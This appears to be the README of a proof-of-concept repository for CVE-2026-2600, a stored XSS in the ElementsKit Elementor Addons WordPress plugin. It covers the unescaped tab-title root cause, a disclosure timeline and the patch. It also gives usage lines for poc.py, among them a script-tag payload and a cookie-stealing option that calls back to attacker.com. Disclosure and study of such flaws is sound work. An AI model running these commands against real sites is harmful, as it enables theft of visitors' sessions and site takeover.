folks-iwd/cve-2026-2600-pocProof-of-concept exploit for CVE-2026-2600, a stored XSS in ElementsKit Elementor Addons <= 3.7.9, allowing authenticated Contributors to inject arbitrary scripts via crafted Elementor data.
| CVSS | 6.4 MEDIUM |
| Affected | <= 3.7.9 |
| Patched | 3.8.0 |
| Min. role | Contributor (edit_posts) |
| Vector | Network / Low complexity / Low privileges |
The Simple Tab widget renders tab titles with echod HTML but no output escaping. In widgets/tab/tab.php, the render loop does:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
Elementor's editor sanitizes input on the client side, but the REST API endpoint (/wp-json/wp/v2/posts/{id}) accepts the _elementor_data meta field directly and bypasses that layer entirely.
An authenticated Contributor can PATCH a post with a crafted Elementor JSON payload that sets ekit_tab_title to arbitrary HTML. Because the value is stored verbatim in _elementor_data and echoed without esc_html() at render time, the script executes in every visitor's browser when the page loads.
Any Contributor can:
400K+ active installs were affected at disclosure time.
pip install requests
python3 poc.py https://target.com contributor p4ss
The script authenticates over HTTP, fetches the REST nonce from the admin editor, creates a draft post, patches _elementor_data with the XSS payload embedded in the ekit_tab_title field, and publishes the post. Output confirms whether the payload is live in the page source.
# Custom payload
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# Cookie exfiltration with callback
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# Interactive console mode
python3 console_poc.py
| Date | Event |
|---|---|
| January 2026 | Discovered via SVN diff review. PoC confirmed. |
| January 2026 | Reported to Patchstack Alliance with full writeup and PoC. |
| March 2026 | Wpmet shipped the fix in v3.8.0. |
| April 2026 | CVE-2026-2600 published. CVSS 6.4 MEDIUM assigned. |
Wpmet added esc_html() around the tab title output in widgets/tab/tab.php:
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';